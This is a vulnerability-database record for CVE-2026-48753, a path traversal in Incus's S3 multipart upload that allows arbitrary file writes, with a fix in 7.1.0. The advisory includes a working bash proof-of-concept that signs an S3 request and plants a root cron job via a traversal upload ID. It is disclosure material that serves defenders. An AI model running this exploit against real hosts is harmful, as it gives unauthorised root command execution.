{"id":"CVE-2026-48753","revision":null,"records":[{"revision":"9826a024971f48e283b0758bf94fea3b","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-48753","aliases":[],"title":"Incus has an arbitrary file write via path traversal in S3 multipart upload","description":"Incus is a system container and virtual machine manager. Prior to version 7.1.0, the S3 protocol upload endpoint is vulnerable to path traversal and allows creation of arbitrary files on the host. This behavior could lead to arbitrary command execution. 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This behavior could lead to arbitrary command execution.\n\nIn `internal/server/storage/s3/local/multipart.go`, user-controlled upload ID is appended to the uploads directory unsanitized; https://github.com/lxc/incus/blob/40dd4f151d52c06b178482aa2518abfb9df3e6fb/internal/server/storage/s3/local/multipart.go#L33\n\n## PoC\n\n### Setup\n\n```\n# Expose the S3 API and create a bucket\nincus config set core.storage_buckets_address=:8555\nincus storage volume create default bucket\n#> note the credentials\n```\n\n### Exploitation\n\nThe below script was mostly generated.\n\n```\n#!/usr/bin/env bash\nset -euo pipefail\n\nif [ $# -lt 4 ]; then\n\tprintf 'usage: $0 endpoint bucket access-key secret-key\\n' >&2\n\texit 1\nfi\n\nendpoint=\"${1%/}\"\nbucket=\"${2}\"\naccess=\"${3}\"\nsecret=\"${4}\"\n\nregion=\"us-east-1\"\nservice=\"s3\"\nkey=\"anything\"\npart=\"1\"\nupload_id=\"../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../etc/cron.d\"\ntarget=\"/etc/cron.d/part-00001\"\ncmd=\"id > /incus-s3-uploadid-bash-rce; rm -f $target\"\nbody=\"* * * * * root /bin/sh -c '$cmd'\n\"\n\nuri_path=\"$(printf '%s' \"$endpoint\" | sed -E 's#^[a-z]+://[^/]+##')/$bucket/$key\"\nuri_path=\"${uri_path#/}\"\nuri_path=\"/$uri_path\"\nhost=\"$(printf '%s' \"$endpoint\" | sed -E 's#^[a-z]+://([^/]+).*#\\1#')\"\nqs=\"partNumber=$part&uploadId=${upload_id//\\//%2F}\"\nurl=\"$endpoint/$bucket/$key?$qs\"\n\namz_date=$(date -u +%Y%m%dT%H%M%SZ)\ndate_scope=\"${amz_date:0:8}\"\nscope=\"$date_scope/$region/$service/aws4_request\"\nbody_hash=$(printf '%s' \"$body\" | sha256sum | awk '{print $1}')\nsigned=\"host;x-amz-content-sha256;x-amz-date\"\n\ncanonical=\"PUT\n$uri_path\n$qs\nhost:$host\nx-amz-content-sha256:$body_hash\nx-amz-date:$amz_date\n\n$signed\n$body_hash\"\ncanonical_hash=\"$(printf '%s' \"$canonical\" | sha256sum | awk '{print $1}')\"\nstring_to_sign=\"AWS4-HMAC-SHA256\n$amz_date\n$scope\n$canonical_hash\"\n\nhmac_hex() {\n\tprintf '%s' \"${2}\" | openssl dgst -sha256 -mac HMAC -macopt \"hexkey:${1}\" -binary | xxd -p -c 256\n}\n\nk_date=$(printf 'AWS4%s' \"$secret\" | xxd -p -c 256)\nk_date=$(hmac_hex \"$k_date\" \"$date_scope\")\nk_region=$(hmac_hex \"$k_date\" \"$region\")\nk_service=$(hmac_hex \"$k_region\" \"$service\")\nk_signing=$(hmac_hex \"$k_service\" \"aws4_request\")\nsig=$(hmac_hex \"$k_signing\" \"$string_to_sign\")\nauth=\"AWS4-HMAC-SHA256 Credential=${access}/${scope},SignedHeaders=${signed},Signature=${sig}\"\n\nprintf '# body:\\n%s' \"${body}\"\n\ncurl -ksS -X PUT \"${url}\" \\\n\t-H \"Host: ${host}\" \\\n\t-H \"X-Amz-Date: ${amz_date}\" \\\n\t-H \"X-Amz-Content-Sha256: ${body_hash}\" \\\n\t-H \"Authorization: ${auth}\" \\\n\t--data-binary \"${body}\"\n```\n\n\n## Impact\n\nArbitrary file write on the host. Possibly leading to arbitrary command execution.","state":0,"publishedAt":"2026-06-26T18:47:25+00:00","modifiedAt":"2026-07-07T20:41:16.7048872+00:00","affected":[{"ecosystem":"Go","name":"github.com/lxc/incus/v7/cmd/incusd","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"7.1.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"CRITICAL"}],"references":["https://github.com/lxc/incus/security/advisories/GHSA-ccjc-4qc3-jxqc","https://github.com/lxc/incus"],"sourceUrl":"https://github.com/advisories/GHSA-ccjc-4qc3-jxqc","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-ccjc-4qc3-jxqc","identifiers":["GHSA-ccjc-4qc3-jxqc","CVE-2026-48753","GO-2026-5802"]},"retained":false,"historicalAffected":[]},{"revision":"559e40f50fe14c3b8b81de1ae55bafa9","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-5802","aliases":["CVE-2026-48753","GHSA-ccjc-4qc3-jxqc"],"title":"Incus has an arbitrary file write via path traversal in S3 multipart upload in github.com/lxc/incus","description":"Incus has an arbitrary file write via path traversal in S3 multipart upload in github.com/lxc/incus","state":0,"publishedAt":"2026-07-07T16:41:46+00:00","modifiedAt":"2026-07-07T20:30:16.9972874+00:00","affected":[{"ecosystem":"Go","name":"github.com/lxc/incus","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/lxc/incus/v6","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/lxc/incus/v7","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"7.1.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/lxc/incus/security/advisories/GHSA-ccjc-4qc3-jxqc"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-5802","license":"OSV · upstream source license applies","key":"osv:GO-2026-5802","identifiers":["GO-2026-5802","CVE-2026-48753","GHSA-ccjc-4qc3-jxqc"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. 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